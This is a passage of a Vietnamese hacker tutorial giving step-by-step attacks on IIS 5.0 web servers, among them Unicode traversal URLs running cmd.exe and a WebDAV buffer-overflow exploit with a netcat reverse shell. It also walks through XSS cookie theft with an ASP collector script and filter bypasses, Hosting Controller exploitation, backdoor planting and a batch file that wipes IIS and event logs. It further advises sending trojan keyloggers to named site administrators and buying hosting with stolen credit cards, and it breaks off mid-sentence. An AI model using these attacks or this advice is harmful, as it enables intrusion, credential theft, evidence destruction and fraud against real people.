Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì
netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy
dùng udpshell thay cho netcat.

( Dựa theo bài viết của huynh Vicky )

49 . ) Kỹ thuật hack IIS server 5.0 :

_ IIS server với các phiên bản từ trước đến phiên bản 5.0 đều có lỗi để
ta có thể khai thác , do bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên
lỗi ở các phiên bản trước tôi không đề cập đến . Bây giờ tôi sẽ bày
các bạn cách hack thông qua công cụ activeperl và IE , các bạn có thể vận dụng
cho các trang Web ở VN vì chúng bị lỗi này rất nhiều . Ta hãy bắt đầu nhé .
_ Trước hết các bạn hãy download activeperl và Unicode.pl .
_ Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay
không :

CODE
telnet < tên trang Web > 80
GET HEAD / HTTP/1.0


Nếu nó không báo cho ta biết mục tiêu đang sử dụng chương trình gì thì các
bạn hãy thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001 .v.v…
_ Sau khi đã xác định được mục tiêu các bạn vào DOS gõ :

CODE
perl unicode.pl
Host: ( gõ địa chỉ server mà các bạn muốn hack )
Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đã telnet trước đó ) .


_ Các bạn sẽ thấy bảng liệt kê lỗi ( đã được lập trình trong Unicode.pl )
như sau :

CODE
[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+
[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+
[13]/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+
[14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe?/c+
[15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+


Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất
cả những lỗi như vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17
thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi .
Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7
, tôi sẽ ra IE và nhập đoạn mã tương ứng trên Address :

http://www.xxx.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 3
hoặc
http://www.xxx.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 7

Đến đây các bạn đã có thể xâm nhập vào server của nạn nhân rồi đó , các
bạn hãy sử dụng lệnh trong DOS mà khai thác thông tin trong này . Thông thường
các trang Web nằm ở thư mục vinetpub\wwwroot , các bạn vào được rồI thì chỉ
cần thay index.html vớI tên hack by …. Là được rồi , đừng quậy họ nhé

Những hiểu biết cơ bản nhất để trở thành Hacker

50 . ) Kỹ thuật hack server thông qua lỗi tràn bộ đệm WebDAV :

Giới thiệu : Giao thức World Wide Web Distributed Authoring and Versioning (WebDAV) là một tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một cách thức chuẩn cho việc biên tập và quản lý file giữa các máy tính trên Internet. Lỗi tràn bộ đệm đã được phát hiện trong một thành phần của Windows 2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều khiển máy tính .
Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các bạn hãy vào down thêm www32.brinkster.com/anhdenday/wb.zip extract để ở trong C:\
Khai thác :
+ Tìm một trang Web dùng IIS 5.0
+ Vào Dos , vào đặt NETCAT ở chế độ lắng nghe :
C:\>nx -vv -l -p 53
listening on [any] 53 ...

Ta để nó lắng nghe ở cổng 53 vì tường lửa ko chặn cổng này .

+ Mở thêm một của sổ DOS nữa .
+ Ta sử dụng WebDAV vừa down về .

c:\wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để tấn công> <cổng lắng nghe> [padding=1,2,3...]

VD :

C:\> webdav xxx.xxx.xxx.xxx 203.162.xxx.xxx 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer

Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting... CONNECTED
Sending evil request... SENT
Now if you are lucky you will get a shell.
+ Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu như ở máy tính dùng để tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó :
C:\>nc -vv -l -p 53
listening on [any] 53 ...
connect to [203.162.xxx.xxx] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32> <-- OK đã thành công rùi.

+ Khi đã có shell rồi việc đầu tiên là ta sử dụng các lệnh trong Unix để khai thác , sau đó up lên server vài con backdoor , he he . ( Sử dụng con WinShell, Hack Defensed là ok rùi ) .
+ Sau khi làm xong ta sẽ xoá file log , để xác định file log ta thực hiện câu truy vấn sau :
C:\WINNT\system32>reg query HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters /v LogFileDirectory ! REG.EXE VERSION 2.0

kết quả nó sẽ xuất hiện link để ta xác định file log :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters LogFileDirectory REG_SZ C:\WINNT\System32\LogFiles

He he , đường dẫn file log là C:\WINNT\System32\LogFiles
+ Ta tạo một file a.bat trên máy của nạn nhân để thực hiện việc xoá file log này , ta đánh các lệnh sau :
C:\WINNT\system32>echo iisreset /stop >a.bat ' tạm dừng server IIS
C:\WINNT\system32>echo rd /q /s C:\WINNT\System32\LogFiles >>a.bat ' xóa nhật kí của IIS
C:\WINNT\system32>echo iisreset /start >>a.bat ' khởi động lại IIS
C:\WINNT\system32>echo ce >>a.bat ' xóa nhật kí của Event Log
C:\WINNT\system32>echo del a.bat >>a.bat ' xóa file a.bat

+ Sau đó ta dùng các lệnh sau để cho flie a.bat kia làm việc :
C:\WINNT\system32>net time \xxx.xxx.xxx.xxx ' lấy thời gian hiện tại của máy chủ

Nó sẽ cho kết quả như VD sau :
Current time at \xxx.xxx.xxx.xxx is dd/mm/yy 3:00 PM
The command completed successfully

Như vậy thờI gian hiện tạI trên máy chủ là 15:00 , ta sẽ cho file a.bat làm việc sau 5 phút nữa bằng lệnh sau :
C:\WINNT\system32>at 15:05 a.bat
Added a new job with job ID = 1

Ta có thể mặc đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ vào thông số thời gian bạn đưa vào .
Ta thoát khỏi máy chủ bằng lệnh :

C:\WINNT\system32>exit ' đóng kết nối
sent 207, rcvd 746

+ Lúc này thì mấy admin có tài thánh cũng ko biết là đã có người thâm nhập.
_ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực tiếp thông qua backdoor các bạn đã up lên.
_ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là :
+ xoafilelog.exe : dùng để xoá file log trong server của victim .
+ wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta khai thác hay không , các bạn tự tìm hiểu để sử dụng chúng nhé.

51 . ) Lỗi CROSS SITE SCRIPTING và cách khai thác :

Giới thiệu : Lỗi XSS ( tên gọi của Cross-Site Scripting ) nói nôm na là hacker có thể thông qua lỗi này để chèn code vào site hay link để chôm các thông tin quan trọng từ nạn nhân, các thông tin quan trọng ở đây có thể là cookie hoặc username + pass để vào tài khoản 1 ngân hàng nào đó sau đó thông tin này được gửi tới cho hacker .
Chuẩn bị :
+ Lấy đoạn code sau save lại thành file cookie.asp rồi up lên host của bạn có hỗ trợ asp ( như brikster.com ) :
<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing
%>

Kiểm tra trang Web bị lỗi :
+ 1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó .
+ Cách tìm lỗi ta chia thành 4 bước :
Bước 1 : Mở website cần kiểm tra .
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "abc" chẳng hạn hay chữ gì cũng được .
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về :
Ví dụ bạn thấy như thế này :
"Your search for 'abc' did not find any items"
"Your search for 'abc' returned the following results"
"User 'abc' is not valid"
"Invalid login 'abc'"
hoặc là cái gì đó mà có dính tới chữ "abc" mà bạn nhập vào ban đầu thì 99% thằng này bi XSS

Bước 4 : Chèn code thực sự vào nơi bị lỗi :
chèn cái này :

<script>alert('abc')</script>

vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "abc" thì thằng này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES nó ra để xem . Khi view sources nhớ kiếm dòng này<script>alert('abc')</script> , nếu có thì XSS đây rồi .
Một ví dụ khác thường gặp hơn :
Gọi http://sitebiloi.com là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : ...http://sitebiloi.com/?page=<script>...<script> , nghĩa là ta có thể chèn code ngay trên thanh ADDRESS .
Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi .
Khai thác :
+ Lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta làm như thế này :
http://sitebiloi.com/index.asp?page=<script>window.open("http:// địa chỉ trang Web ta vừa up file cookie. asp lên /cookie.asp?cookie="+document.cookie)</script>
thì ngay lập tức đoạn code đã được chèn vào trong web page , và trông như vầy :
<HTML>
Hello all!
hello
<script>window.open("địa chỉ trang Web ta vừa up file cookie.asp lên /cookie.asp?cookie="+document.cookie)</script>
...
</HTML>
Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ gửi toàn bộ cookie tới cho bạn ở dạng file .txt và bạn chỉ việc mở file này ra xem .
+ Vậy gặp trường hợp nhà quản trị hạn chế sự xâm nhập bằng cách lọc bỏ các ký tự đặc biệt ta phải làm sao ? Các bạn thử cách thay thế các ký tự đó bằng các mã đại diện . VD :

* Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" :
Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với

') + ') + '\x3cscript src=http://hostbanupfile.com/cookie.asp?cookie="+document.cookie\x3e\x3c/script\x3e'

Để tìm hiểu thêm về mã đại diện các bạn hãy download tại :
www32.brinkster.com/anhdenday/ascii.zip về nghiên cứu .

+ Biến các đoạn code nguy hiểm thành lời chú giải (comment) :
Ví dụ khi hacker nhập vào <script>code</script> thì sẽ bị chặn như sau :
<COMMENT>

</COMMENT>

Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng </COMMENT> để đóng cái <COMMENT> kia . Nghĩa là ta chèn cái này vào :

<script>

</COMMENT>
[html:img src="http://none" onerror="alert(abc was here);window.open( http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); "]</script>


lúc này đoạn lọc code ban đầu trở thành :

<COMMENT>

</COMMENT>
[html:img src="h*tp://none" onerror="alert(abc was here);window.open( http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); "]
</script>
</COMMENT>

và thế là bộ lọc bị vô hiệu hoá 1 cách nhanh chóng .

52 . ) Tìm hiểu về lỗ hổng Unicode trong Microsoft IIS :

Giới thiệu: Microsoft IIS là một phần mềm web server. Nó chứa tất cả file của một website, và làm chúng có hiệu lực cho mọi người dùng trên internet. Nhưng như tất cả các phần mềm khác, (đặc biệt là của Microsoft) nó có lỗ hỏng bảo mật Unicode trong IIS của Microsoft, nhưng "không may" những người quản trị thì lại không quan tâm đến việc cài đặt những patch fix lỗi đó. Trong bài hướng dẫn này, ta thảo luận về cách mà lỗi này hoạt động, và Tại sao nó hoạt động được.

Khi bạn viếng thăm một website, địa chỉ của file bạn hiện giờ đang xem sẽ giống như sau:

http://www.someserver.com/

Đây là remote address của web server, hiển thị trên thanh address của trình duyệt. Bất kỳ ai cũng có thể truy cập nó trên internet. Khi vào site này, web server sẽ đưa cho bạn file index, (index.html hay ) của root folder web server. Hầu hết những root folder của một web server là:

C:\inetpub\wwwroot

Đây là thư mục local của web servers, nơi cất giữ tất cả các trang chính của website. Vì vậy nếu bạn gõ địa chỉ sau:

http://www.someserver.com/index.html

Ở trình duyệt, web server sẽ đưa cho bạn local file của nó:

c:\inetpub\wwwroot\index.html

Tôi hy vọng bạn sẽ không quá nhàm chán, việc quan trọng nhất là bạn phải hiểu được sự khác nhau giữa địa chỉ local và remote.

Bây giờ, cái gì sẽ xảy ra nếu ta muốn di chuyển một cặp thư mục lên web server? Ta muốn di chuyển từ c:\inetpub\wwwroot Đến c:\ chúng ta sẽ làm như thế nào? Bạn không thể gõ:

http://www.someserver.com/c:\

Chú thích Web server sẽ bắt đầu đi qua local của nó

c:\inetpub\wwwroot

Đối với những thư mục riêng, và do bạn không thể có : trong thư mục, nó sẽ đỗ vỡ và bạn nhận được thông báo lỗi trong trình duyệt.
Tiếc quá! nó không hoạt động.
Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì.
Lệnh để đi đến một thư mục ở trên là
/../
Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ dùng được rất nhiều.
Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau

http://www.someserver.com/../../

Và bắt đầu truy cập vào ổ đĩa c local của server?
Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh phiền phức, bằng cách làm server từ chối loại yêu cầu này.Vì thế ta phải làm gì đây?Bạn có bao giờ thử download một file mà trong tên của nó có khoảng trống chưa?
Bạn có nhận được thông báo là trình duyệt đã biến đổi khoảng trống đó thành %20 không?
Hãy làm 1 ví dụ. Nếu bạn gõ cái này trong trình duyệt:

http://www.someserver.com/iis Unicode hole.txt

Trình duyệt sẽ thay thế khoảng trống bằng %20 :

http://www.someserver.com/iis%20unicode%20hole.txt

Và sau đó mới cho phép bạn download file.
Đó là cái gì, và tại sao trình duyệt lại phải làm như thế?
Máy tính không thể hiểu được khoảng trống. Đơn giản là chúng không làm được vậy thôi.
%20 ở đây chính là Unicode cho ký tự ASCII mà ta hay gọi là “khoảng trống”.
Ký tự ASCII là những ký tự mà ta thấy trên màn hình khi dùng máy tính. Chỉ có một Unicode cho mỗi ký tự ASCII. Vì thế, khi bạn đưa một khoảng trống vào trình duyệt, nó phải được thay thế bằng cái gì mà cho máy tính có thể hiểu được trước khi nó bắt đầu tìm kiếm.
Để tìm hiểu thêm về ASCII các bạn down tại :
www32.brinkster.com/anhdenday/ascii.zip
Từ khi trình duyệt biến đổi khoảng trống thành ký tự Unicode mới và gửi chúng đến web server mà có thể hiểu được, ta cũng có thể dùng ký tự Unicode để giải thích bất cứ thứ gì ta muốn, và web server sẽ cũng hiểu được chúng. Không chỉ với khoảng trống. Mà ta cũng có thể biến đổi lệnh DIRUP thành Unicode, và gửi chúng đến server. Ta cần biến đổi dấu gạch chéo (/) thành /../../ trong Unicode. Unicode của / là %5C .
Thật là tuyệt, nếu sau đó tôi chỉ cần gõ

http://www.someserver.com/..%5C.. %5C/

và tôi có thể thấy host được không?
Khai thác ở đây, nhưng có một vài lý do nó không hoạt động.
Đầu tiên, nếu bạn đã làm với server’s local c:\ Bạn sẽ cần một vài thứ để đóng thư mục. Web server sẽ không làm như vậy cho bạn. Vì vậy chúng ta cần mở cmd.exe (dấu nhắc DOS) của server. Trong trình duyệt của bạn! Nhưng chúng ta sẽ quay lại vấn đề này sau.
Thứ hai, khi server giải mã /..%5C.. %5C/
Nó sẽ thành /../../ mà lại bị hạn chế, và sau đó từ chối yêu cầu. Vì thế ta cần phải làm gì, hay mã hoá Unicode đã mã hóa rồi một lần nữa. Có thể bạn sẽ không theo tôi ngay bây giờ, nhưng tôi sẽ cố gắng giải thích một lần nữa. Ta cần mã hoá mọi ký tự của chuỗi Unicode đã có.
Xem bảng dưới sẽ hiểu hơn.
COLOR=purple]ASCII................................. UNICODE
%........................................ %25
5.......................................... %35
C............................ .............%43

Vì vậy khi ta mã hóa ký tự ASCII /..%5C.. %5C/
Sang Unicode, ta được ..%25%35%43..%25%35%43
Và khi server đọc chuỗi ký tự này, nó sẽ trở lạI /..%5C.. %5C/
Đó không phải là lệnh DIRUP bình thường, nên nó được cho phép.
Nhưng có một vài thứ chúng ta cần biết. Như tôi đã đề cập ở trước, khi bạn kết nối đến một web server, thư mục root mặc định là wwwroot. Thư mục này những trang chính của site. Nhưng có những thư mục khác cho những trang web như yếu tố scripts. Những thư mục này có chứa file mà có khá nhiều thứ quan trọng trong web server. Vì vậy khi vận dụng server, ta cần làm nó từ thư mục mà ta đã có đặc quyền để làm. Điều này không khó; Tôi chỉ muốn bạn hiểu tại sao tôi thêm /scripts/ vào cuối URL.

Rốt cuộc, khi ta thi hành lệnh ở dấu nhắc server’s local dos prompt, ta cần thi hành một lệnh cũng trong cái này. Ta muốn hiển thị c:\ ? Dễ thôi; ta chỉ cần làm vài thủ thuật khác hơn bạn thường làm ở dấu nhắc dos.

Bắt đầu cmd.exe theo cách sau:

cmd.exe?/c+

? = Mọi thứ sau dòng đối số của lệnh.
/c = Thi hành lệnh, sau đó đóng cmd.exe (để cho nó không chạy mãi)
+ = Thay thế cho khoảng trống

Cuối cùng, toàn bộ lệnh ráp lại sẽ như sau:

http://www.myserver.com/scripts/..%25%35%43..%25%35%43/winnt/system32/cmd.exe?/c+dir+c:\

Và bạn thấy được c:\ của servers bên trong trình duyệt. Hehe?

_ Chú thích: Có rất nhiều “lệnh” Unicode khác để cho ta thi hành, nếu cái này không hoạt động (có thể server đã fix được phần nào) thì thử áp dụng những cách sau:
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\ …….

53 . ) Kỹ thuật hack Hosting controller :

Tìm site bị lỗi : vào Google.com đánh vào một trong các từ khoá sau :

+ copyright Hosting Controller .
+ allinurl:/advadmin .
+ allinurl:/admin .

Sau khi tìm được ta thử xét trang Web đó có bị lỗi hay ko bằng cách sử dụng 2 đoạn code :
http://www.victim.com/advwebadmin*hoac admin*/stats/statsbrowse.asp?filepath=c:\&Opt=3
( Lệnh này xem ổ đĩa của victim )

www.victim.com/advwebadmin/autosignup/newwebadmin.asp
( Lệnh này tạo một free hosting )

Nếu như 2 lệnh trên cùng thực hiên được thì ta có thể khai thác chúng được rồi đó , he he .

Cách khai thác :
+ Vì tạo được hosting nên ta có thể upload được file vô tư , các bạn hãy chú ý thử xem địa chỉ mà cất các file ta vừa upload lên ở đâu ( bằng cách nhìn vào thanh statup ) .
+ Tiếp theo là ta làm sao chuyển cái file đó vào thư mục chứa trang chủ của nạn nhân , theo mặc định nó sẽ nằm ở đây :

C:\Program Files\Advanced Communications\NT Web Hosting Controller\web\
( Các bạn có thể thay ổ C:\ bằng D:\ , E:\ )

+ Khi xác định được chính xác địa chỉ rùi ta sẽ tìm đoạn script để làm giúp :

http://[targethost]/admin/import/imp_rootdir.asp?result=1&www=C:\&ftp=C:\( đường dẫn đến thư mục web victim )&owwwPa th=C:\&oftpPath=C:\( đường dẫn đến thư mục ta vừa upload file )

+ Các bạn có thể test đường dẫn file up lên có chính xác không bằng cách up lên file a.html bất kỳ , giả sử nó được up lên nằm ở C:\Program Files\Advanced Communications\NT Web Hosting Controller\web\admin\a.html ta sẽ test bằng cách đánh đường dẫn ở URL :

www.victim/admin[avdadmin]/a.html

+ Nếu như đúng là chính xác rồi thì chỉ cần up “Đồ nghề” lên là xong

Các bước của Hacker

Bước 1> FootPrinting : Các mục tiêu của bước này chủ yếu là những thông tin ban đầu về server . Công nghệ bạn cần sử dụng là : Open source search ( nguồn máy chủ tìm kiếm ) Whois , Web interface to whois , Arin Whois , DNS zone transfer ( bộ phận này chủ yếu là kiểm tra về người chủ server , DNS .. cấu trúc server chưa thể hiện rõ ở đây ) 1 số công cụ : UseNet , search engines ( công cụ tìm kiếm ) , Edgar Any Unix client , http://www.networksolutions.com/whois , http://www.arin.net/whois , dig , nslookup Is -d , Sam spade
Xem thêm tại đây

<Bước 2> Scanning : Phần lớn các server chịu bung thông tin quan trọng trong bước này , hãy cố gắng tận dụng bước này triệt để để biết các port trên server , nghe đường dữ liệu . Công nghệ bạn cần sử dụng là : Ping Sweep , TCP/UDP port Scan , Os Detection . Các công cụ : fping , icmpenum Ws_ping ProPack , nmap , SuperScan , fscan nmap , queso , siphon .

<Bước 3> Enumeration : Đến bước này , các attacker bắt đầu kiểm soát server sơ bộ , xác định các account trên server , mức độ bảo vệ ... Công nghệ bạn cần sử dụng là : List user accounts , List file share , Identify applications . Các tool phụ trợ : null sessions , DumpACL , sid2user , OnSite Admin showmount , NAT , Legion banner grabbing với telnet , netcat , rpcinfo .

<Bước 4> Gaining access : Aha , đã có đủ dữ liệu để kết hợp tất cả chúng lại . Chúng ta bắt đầu đến gần mục tiêu . Hãy nắm chắc cơ hội . 1 account có thể bị Crack . Công nghệ : Password eavesdropping , File Share brute forcing , Password file grab , buffer overflows . Các tool : tcpdump , L0phtcrack readsmb , NAT , legion , tftp , pwdump2 ( NT ) ttdb , bind , IIS , .HTR/ISM.DLL

<Bước 5> Escalating privilege : Nếu 1 account không may mắn nào ở một cấp độ nào đó bị crack ở bước trên , chúng ta sẽ có cái tận dụng để điều khiển Server . Công nghệ : Password cracking , BUG ,Exploits . Tools : john , L0phtcrack , Ic_messages , getadmin , sechole .

<Bước 6> Pilfering : Thông tin lấy từ bước trên đủ để ta định vị server và điều khiển server . Nếu bước này không thành công , hãy đến bước <9> . Công nghệ : Evaluate trusts , Search for cleartext passwords . Tool : rhost , LSA Secrets user data , configuration files , Registry .

<Bước 7> Covering Tracks : Hệ thộng luôn ghi nhận những hành động của bạn . Nếu bây giờ mà kết thúc , chắc bạn bị tóm ngay . Đây là bước cực kì quan trọng . XÓA LOG . Công nghệ : Clear logs , hide tools . Tools : Zap , Event log GUI , rootkits , file streaming .

<Bước 8> Creating Backdoors : Còn phải hỏi , bạn phải để lại 1 cái cổng sau , lần sau có vào thì dễ hơn chứ . Nếu không thành công , quay lại bước <4> xem lại các quyền của user bạn sử dụng . Công nghệ : Creat rogue user accounts , schedule batch jobs , infect startup files , plant remote control services , install monitoring mechanisms , replace apps with Trojan . Tools : members of wheel , administrators cron, At rc , Startup folder , registry keys , netcat , remote.exe , VNC , BO2K , keystroke loggers, add acct to secadmin mail aliases login , fpnwclnt.dll

<Bước 9> Denial of Servies : 1 attacker không thành công với những gì anh ta đã làm ... họ sẽ tận dụng những exploits code để làm cho server ngừng hoạt động luôn , gọi đó là : tấn công từ chối dịch vụ . Công nghệ : SYN flood , ICMP techniques , Identical src/dst SYN requests , Overlapping fragment/offset bugs , Out of bounds TCP options ( OOB ) DDoS . Tools phụ trợ : synk4 , ping of death , smurf land , latierra , teardrop , bonk , newtear , supernuke.exe , trinoo/TFN/stacheldraht

Làm sao để Hack một trang web

Đây không còn là chuyện bạn đi kiếm trang web bị dính một lỗi để Hack nữa, bây giờ nó là chuyện khác, khi Hack vào một trang web bạn nhằm vào trước, có thể bạn sẽ tốn 1 giờ, một ngày hay vài tháng, không thể nào nói trước được. Và nên nhớ Hack là một nghệ thuật, phải biết dùng cái đầu hơn là dùng đôi tay.
1/ Tìm thông tin về trang Web đó :
Đây gọi là bước FootPrinting tức là thu thập thông tin của mục tiêu. Bạn dùng lệnh Whois để tìm thông tin về tên miền đó, nếu là người đàng hoành thì chắc chắn họ sẽ “khai báo” đầy đủ thông tin của mình, Ví dụ khi thử whois thằng http://www.ttvnonline.com/ thì bạn sẽ nhận được gì : Vũ Vương Thắng + đầy đủ thông tin của trang này (mail + địa chỉ nhà …), bạn còn chần chờ gì mà không gửi ngay cho nó một con Trojan keyloger, nhưng dễ hiểu quá, tôi khuyên bạn nên tự viết một con Trojan cho riêng mình, chứ không nên xài đồ có sẵn, như thế Victim sẽ dễ dàng phát hiện được Trojan mà bạn cài và dễ dàng xoá bỏ. Nhưng đôi khi gặp vài trang “Cà chớn” giống như http://www.vnlogic.net/ thì tên khai toàn fuck u không L

2/ Trong khi chờ đợi con keyloger của bạn làm việc, có thể nó gửi thông tin của Vũ Vương Thắng về hay đã bị die, bạn bắt tay vào việc quét server, trong phần trước bạn đã có thông tin về host của trang Web mình cần hack. Đầu tiên là quét cổng, quét xem server nó mở cổng nào, nếu may mắn bạn sẽ phát hiện thằng này đã bị ai hack rồi và một chú trojan đang mở rộng cửa đón bạn vào, nhưng nếu không có cũng chẳng sao cả, bạn sẽ phát hiện được thằng server chạy những cổng nào, từ đ1o phát hiện ra nó đang chạy những service nào. Một số server bạn có thể dùng như sau : http://www.vnn.vn/cgi-bin/test-cgi/*?* , mỗi dịch vụ của server sẽ bay ra như moi goi J

3/ Mỗi service đều có một vài lỗi riêng và chưa chắc thằng Admin nó fix hết, bạn đã biết server nó chạy những service nào rồi ở bước trên, bạn còn chần chờ gì nữa mà không thử hết lỗi của từng service (exploit, password defaut …), nếu dùng lỗi do chính bạn páht hiện và chưa công bố lên mạng nữa thì càng tuyệt, càng dễ thành công. Vào bước này tôi khuyên bạn không nên dùng chương trình quét lỗi, nó sẽ quét từ những lỗi từ thời Napoleon I đến giờ, và với tốc độ chậm rì ở VN, cái cơ bản dai ra nhu co co và chưa chắc thành công

4/ Sau mỗi lúc nó dùng remote exploit của bạn không thành công, server vẫn là một bức tường thật vững chắc không thể nào vượt qua được, bạn hãy nghĩ ngay đến việc làm sao kiếm cho được một accout trong server đó đã (để dùng local exploit). Bạn bắt đầu tìm hiểu về cơ cấu tổ chức của trang web. Ví dụ khi Hack http://www.ttvnonline.com,/ tôi gửi trojan đến cho Vũ Vương Thắng (Admin của TTVN Online), nhưng đều đã bị phát hiện, tôi nghĩ ngay đến chuyện gửi trojan cho những tên cấp thấp hơn, Ví dụ như trong trang http://www.ttvnonline.com/ , ngoài Vũ Vương Thắng, nó còn giao pass FTP cho một số Moderator nữa, thế là bạn gửi cho tất cả cho Moderatorerator và đợi, trong trường hợp này tỷ lệ thành công dễ hơn nhiều bước 1, vì trong đống Moderator chắc cũng có thằng bất cẩn. Hay Ví dụ khi bạn tấn công server của một côn ty, sau khi gửi trojan cho admin mà không dính, bạn có thể gửi trojan cho tay giám đốc kinh doanh nào đó chẳng hạn, chuyên ngành của nó là kinh doanh và nó sẽ không có nhiều đề phòng, cho dù nó yên tâm là nó đã có cài chương trình antivirus, như khi đã nói trong bài Trojan, chương trình antivirus chức năng chính của nó là chống virus, còn những con trojan bị phát hiện chỉ là những con trojan đã nổi tiếng lắm lắm. Ngoài việc dùng keyloger, bạn cũng có thể tự thử tài đoán password của mình. Thường thì những người không giỏi về vi tính thì đặt password có liên quan đến những thông tin của mình (Ví dụ tên vợ con, tên mình, kênh TV ưa thícch …), bước này cũng khá quan trọng và bạn hãy coi phim “Cá Kiếm“ để học tập sư phụ . Vẫn không thành công L, nếu thằng đó dùng share host thì việc kiếm được một cái account khoẻ re, dùng ngay cái credit card do bạn chôm được từ trường đăng ký ngay một cái accout, và thằng reseller cha dại mà từ chối tặng bạn account để xài đâu. Có account trong server đó rồi rất tiện, bạn thử dùng Local exploit để đoạt quyền root, thường thì mấy thằng admin không fix Local exploit, nó chỉ quan tâm từ bên ngoài thôi, còn chuyện nội bộ nó không quan tâm lắm. Bây giờ giống như bước 3, thử tất cả các lỗi Local mà bạn biết để thử đoạt quyền root.

5/ Nếu Website mà bạn muốn Hack bị lỗi PHP thì đầu tiên bạn hãy vào Start --> programs --> MS-DOS Prompt và gõ lệnh : Ping www.têntrangweb.com và Enter để biết được IP của Website đó. Sau đó bạn gõ :
